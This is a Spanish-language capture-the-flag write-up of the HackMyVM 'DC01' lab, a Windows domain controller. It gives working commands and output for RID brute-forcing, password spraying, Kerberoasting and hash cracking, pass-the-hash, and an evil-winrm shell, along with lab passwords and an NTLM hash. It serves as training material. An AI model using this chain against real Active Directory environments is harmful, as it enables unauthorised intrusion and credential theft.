cd ~/blog

~/writeups/hmv/115-dc01.md

115 - DC01

easy Windows hmv 11-08-2024
SMB guest access + RID brutePassword sprayingKerberoasting (GetUserSPNs)NTLM hash pass (machine account)
hackmyvm.eu/machines/machine.php?vm=DC01

~1 min de lectura


Enumeramos puertos (DC de Active Directory, dominio SOUPEDECODE.LOCAL):

 sudo nmap -sCV -Pn -p 53,88,135,139,389,445,464,593,636,3268,3269,5985,9389,49664,49667,49680,49714 -oN 02-targeted.txt 192.168.1.31
...
PORT      STATE SERVICE       VERSION
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: SOUPEDECODE.LOCAL0., ...)
445/tcp   open  microsoft-ds?
5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0
...
Service Info: Host: DC01; OS: Windows; ...

No hay null session, pero sí acceso como guest, que nos permite enumerar shares y usuarios (RID brute):

 nxc smb 192.168.1.31 -u guest -p "" --shares
...
SMB         192.168.1.31    445    DC01             backup
SMB         192.168.1.31    445    DC01             Users

 nxc smb 192.168.1.31 -u guest -p "" --rid-brute > nxc_users.txt
 cat nxc_users.txt | grep SidTypeUser | awk '{print $6}' | cut -d "\\" -f 2 > users.txt

Hacemos password spraying (usuario = contraseña) y cae ybob317, aunque con la contraseña expirada:

 crackmapexec smb 192.168.1.31 -u users.txt -p users.txt --no-bruteforce
...
SMB         192.168.1.31    445    DC01             [-] SOUPEDECODE.LOCAL\ybob317:ybob317 STATUS_PASSWORD_EXPIRED
...

Tras renovar la contraseña manualmente (ybob317:ybob3177), accedemos por SMB y obtenemos la primera flag:

 smbclient //192.168.1.31/Users -U ybob317
Password for [WORKGROUP\ybob317]: ybob3177
smb: \ybob317\Desktop\> get user.txt

Con esas credenciales hacemos Kerberoasting y crackeamos un hash de cuenta de servicio:

 impacket-GetUserSPNs SOUPEDECODE.LOCAL/ybob317:ybob3177 -dc-ip 192.168.1.31 -outputfile hash_kerb
...
FTP/FileServer          file_svc
HTTP/BackupServer       backup_svc
...

 john -w=/home/wh01s17/Documents/wordlists/rockyou.txt hash_kerb
...
Password123!!    (?)
...

La contraseña es de file_svc (también expirada → password123!!). Con ese acceso descargamos el share backup:

 smbclient //192.168.1.31/backup -U file_svc
smb: \> get backup_extract.txt

El archivo contiene usuarios y hashes NTLM. Los separamos y hacemos pass-the-hash; el de la cuenta de máquina FileServer$ es administrador:

 crackmapexec smb 192.168.1.31 -u users_hashes.txt -H passwds_hashes.txt --no-bruteforce --continue-on-success
...
SMB         192.168.1.31    445    DC01             [+] SOUPEDECODE.LOCAL\FileServer$:e41da7e79a4c76dbd9cf79d1cb325559 (Pwn3d!)
...

Nos conectamos con evil-winrm usando el hash:

 evil-winrm -u 'FileServer$' -i 192.168.1.31 -H 'e41da7e79a4c76dbd9cf79d1cb325559'
*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt

Obtenemos nuestra flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados